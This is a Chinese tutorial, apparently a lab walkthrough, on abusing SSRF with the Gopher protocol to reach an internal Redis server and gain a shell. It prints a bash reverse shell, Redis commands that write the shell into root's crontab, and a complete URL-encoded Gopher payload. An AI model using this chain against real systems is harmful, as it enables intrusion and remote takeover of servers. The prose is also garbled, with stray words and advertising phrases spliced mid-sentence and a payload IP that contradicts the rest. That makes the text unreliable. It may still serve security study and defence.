Gopher协议在SSRF中的应用

Gopher协议

Gopher​协议是协议一种通信协议​ ，用于在Internet 协议网络中分发 、应用搜索和检索文档 。协议Gopher 协议和用户界面的应用设计是菜单驱动的，并在早期阶段提出了万维网​的协议替代方案 ，但最终不受欢迎 ，应用让位于HTTP。协议Gopher 生态系统通常被认为是应用万维网的有效前身。

Gopher协议的协议格式发起POST请求时，服务器租用回车换行需要使用%0d%0a​代替，应用结尾也要加上%0d%0a参数之间的协议&需要进行URL编码参数以_开头 ，否则第一个字符会被吞掉支持Gopher协议的应用环境PHP —write-curlwrappers且PHP版本至少为5.3Java 小于JDK1.7Curl 低版本不支持Perl 支持ASP.NET 小于版本3为什么要使用Gopher协议

在思考这个问题的时候我们可以看见这样的答案 ：

Gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包 ，协议在构成符合Gopher协议的应用请求 。Gopher协议是协议SSRF利用中最强大的协议 。

这个答案有问题吗 ？没有问题。看完这个答案知道为什么要使用Gopher了吗？貌似还是不太清楚
：

因为他强大所以使用它
？那我们为什么不可以使用http​等，香港云服务器而且说到底
，Gopher毕竟是一个已经被淘汰的协议，为什么非要使用这个协议，好像并没有这方面的答案。

到底为什么使用Gopher

我总结的话
，就一句话：支持多种协议且灵活 ，或者也可以说其没有固定的格式要遵守（这里所谓的格式指的是数据包的格式，亿华云必须HTTP数据包中必须携带哪些参数）。

我们做这样一个实验，在一台虚拟机上通过nc​监视3333​端口，然后分别通过http​协议和gopher协议去访问这个端口：

http://172.16.12.155:3333/abc

那么此时对端收到的是（我们通过curl​请求）带有​HTTP​的请求包格式：有可能会说比如说UA什么的完全可以不带，但是GET的请求包头是一定要有的吧 ！

gopher://172.16.12.155:3333/_abc（遵守gopher的格式） 。

再来看使用gopher协议收到的源码下载数据

没有任何的附加数据。

我们通过抓包再来看一下

我们可以清楚的看见除了前4层的数据和abc外没有任何的额外的数据 。

为什么SSRF中常配合Gopher协议

我们以Redis产生的SSRF为例（后面会具体描述） ，由于Gopher传输的数据是没有任何额外数据的
，这样的好处非常的明显，建站模板在我们请求6379端口时，除了我们构造的redis格式的数据外 ，将不会产生任何Redis无法识别的额外数据，从而可以保证Redis顺利执行我们构造的语句，很显然HTTP做不到这一点
 。

所以这也提醒了我们
，Gopher​协议除了应用于攻击内网的Redis​服务器，还有FTP等等服务器也可以尝试，而且拓展来看Gopher协议甚至可以用来写入一句话。

实验

使用SSRF结合Gopher​协议攻击内网的Redis服务器  。模板下载

分析

实验目的

我们最终的实验目的是要拿到目标Redis​主机的Shell​，要完成这一目标需要多条Redis语句相配合，我们当然可以通过Gopher​协议一条一条的传递 ，但这样会非常的繁琐，所以我们决定现在本地搭建相同版本的Redis​服务器 ，并抓包获取到Redis格式的报文 ，最后直接拼接到Gopher语句中一并传给被攻击服务器即可完成攻击 。

版本信息

redis-stack-server-6.2.4-v2.rhel8.x86_64

新版的Redis服务器增加了防御机制 ，未成功

所需工具

redis-cli连接Redis服务器nc接受反弹shellsocat代理转发

实验架构

由于内网的Redis​服务器，是不出网的（或者说其防火墙限制只有内网的主机可以访问）
，所以我们只能通过一台处于内外网边界的具有SSRF​漏洞的主机来访问该Redis服务器。

由于处于实验环境中 ，我们就通过主机添加防火墙策略来阻止除”内网”限定主机以外访问，形成简单的内外隔离。

此时虽然处于同一网段，但我们在Redis服务器上添加了如下策略：

复制firewall-cmd --add-rich-rule=rule family=ipv4 source address=172.16.12.151 port port=6379 protocol=tcp accept1.

从而禁止除172.16.12.151服务器以外其他服务器访问的请求，这样就形成了我们简单的内网的概念。

实验的步骤

对目标主机的探测

首先我们要对这台存在着SSRF漏洞的主机进行探测，首先看其URL的组成
：

http://172.16.12.151:89/ssrf.php?url=

通过拼接www.baidu.com发现其可以正常访问百度，所以怀疑此处出现SSRF漏洞 ，接下来尝试其能不能访问内网的主机。

为了探测主机哪些端口开放，我们尝试用Burp通过不断改变端口值 ，来进行一个简单的探测，在这之前我先拼接了一下：

http://172.16.12.151:89/ssrf.php?url=172.16.12.136:80

并没有任何回显，所以为了准确的验证我们访问的端口是否开启 ，决定使用 dict协议。

dict协议又称在线网络字典协议。通过 dict协议
，可以远程访问一个指定的 TCP 端口 ，并且会返回端口所提供的服务的部分组件信息当目标端口开放（有服务信息显示 ，但会报错） 。

接下来通过Burp的Intruder模块来验证一些基本端口服务是否开放。

可以看出目标主机的6379``22号端口是开放的。

有了该信息就可以开始利用该漏洞啦。

本地捕获攻击流量

由于对端是6379​端口也就是redis​服务的端口 ，所以我们接下来向该端口传输的数据必须是redis​规定的格式，这时候我们可以查找redis​报文格式的文档构造其报文，但那样过于繁琐，所以我们直接在本地另外一台服务器上搭建redis​服务**，通过在本地连接这台redis​服务器，并向其发送攻击时所要发送的redis​命令从而获取其流量报文，最终再配合Gopher协议完成传输即可。

可成功访问我们自己搭建的redis服务器

自己搭建的redis服务器IP：172.16.12.155

接下来，在本地KALI机上为了准确的获取redis​的流量报文，我们使用socat对流量进行代理转发

socat -v tcp-listen:6379,fork tcp-connect:172.16.12.155:6379

大功告成，接下来我们只要redis-cli -h localhost​就可以让连接172.16.12.155:6379流量走本地的代理啦。

反弹shell

我们最终的目的是反弹一个目标主机的shell​到我们本地，我们可以将下面的语句写入到目标主机的cron中从而加入计划任务，定时反连本主机

bash -i >&/dev/tcp/172.16.12.150/3333 0>&1

为了完成该目的我们需要做两个准备 ：

1.在本地开启监听端口3333

2.利用上面搭建的本地redis​环境将攻击需要的redis​指令流量捕获并通过Gopher​协议发给有SSRF漏洞的主机从而穿透发给我们要反弹shell的那台内网主机。为了在目标主机的​cron​中写入计划任务，需要以下redis命令 ：

复制flushall

# 设置键值对 key-

value

set deu "bash -i >&/dev/tcp/172.16.12.150/3333 0>&1"

# 设置工作目录

config set dir /var/spool/

cron

# 设置保存文件的名字

config set

dbfilename root

# 保存
，将缓冲区内容写入到 root 文件中

save1.2.3.4.5.6.7.8.9.10.11.12.13.

然后转到socat​的界面  ，我们就获得了redis数据包流量。

由于Gopher及URL编码等一些格式的限制  ，我们需要对上述报文进行一定的处理 ，最终转为 ：

复制*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adeu%0D%0A$42%0D%0Abash -i >&/dev/tcp/176.12.16.150/3333 0>&1%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A1.

可借助 python 脚本实现 。

* 去掉> <后的一些时间、长度等描述信息
。

* 如果该行只有\r​，将\r​替换成%0a%0d%0a​ ，否则将\r​替换为%0d%0a​*?​转码为URL编码%3f​* 去掉最后的换行符\n* 判断是否是空行，空行替换为%0a

至此流量捕获完毕 ，我们就可以通过URL直接发给存在SSRF的主机了。

反弹成功